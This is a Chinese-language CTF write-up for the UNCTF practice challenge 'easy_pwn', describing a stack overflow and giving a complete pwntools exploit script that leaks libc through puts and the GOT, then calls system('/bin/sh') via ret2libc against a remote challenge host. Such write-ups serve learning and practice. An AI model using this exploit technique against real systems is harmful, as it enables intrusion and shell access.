MENU

Catalog

    UNCTF 练习场 栈溢出 easy_pwn Writeup

    November 4, 2020 • Read: 711 • Pwn

    待配图...
    这道题我做了很久,刚开始认为主要突破点在于读入id的判定,读入id最后会被传入到read的长度中,我以为虽然对单个字节进行了判定,强制其变成0A,但是由于read读入的时候是以size_t读入,所以还可以任意控制读入长度,试验了很久,但是最后从汇编里面能看出来,其实无论如何都只能读取一个字节。
    所以说其实问题的突破点在于其他地方,所以我又留意了一下sprintf写入的地方,果然发现了问题。
    sprintf写入的地方居然直接在栈上(我之前以为是一个全局变量),但是由于开了NX,所以还不能直接利用。所以我们构造出正好可以覆盖到id的位置,然后把id改成一个比较大的数字,但是实验发现,我们写入的name最多只有0x3C,不足以覆盖到id,所以只能用他自带的文本来覆盖,选择一个最大的,那就是w,那我只需要对name的长度进行控制,就可以成功让w覆盖到id的位置,从而控制下一步的读入长度。
    由于开了NX,我们第一步先泄漏libc,利用plt表中的puts函数输出got表中的puts函数,并且我们让程序重新返回到本函数,实现再次利用。
    然后再次利用的时候就可以利用libc中本来存在的system和/bin/sh文本,来实现getshell!

    from pwn import *
    from LibcSearcher import *
    #r = process('./pwn')
    r = remote("node2.hackingfor.fun", 38629)
    elf = ELF('./pwn')
    r.sendlineafter("id:", "305")
    r.sendlineafter("name:", 'a' * 0x3A)
    
    value_addr = 0x80485E7
    pop_ebx_addr = 0x080483fd
    payload = 'a' * 0x18 + 'b' * 0x4 + p32(elf.plt['puts']) + p32(value_addr) + p32(elf.got['puts'])
    r.sendlineafter("me?", payload)
    
    r.recvuntil("mean!\n")
    puts_got_addr = u32(r.recv(4))
    libc = LibcSearcher("puts", puts_got_addr)
    libc_base = puts_got_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    print "libc_base: " + hex(libc_base)
    print "system_addr: " + hex(system_addr)
    print "bin_sh_addr: " + hex(bin_sh_addr)
    
    r.sendlineafter("id:", "305")
    r.sendlineafter("name:", 'a' * 0x3A)
    payload2 = 'a' * 0x18 + 'b' * 0x4 + p32(system_addr) + p32(0) + p32(bin_sh_addr)
    r.sendlineafter("me?", payload2)
    r.interactive()
    
    Archives QR Code Tip
    QR Code for this page
    Tipping QR Code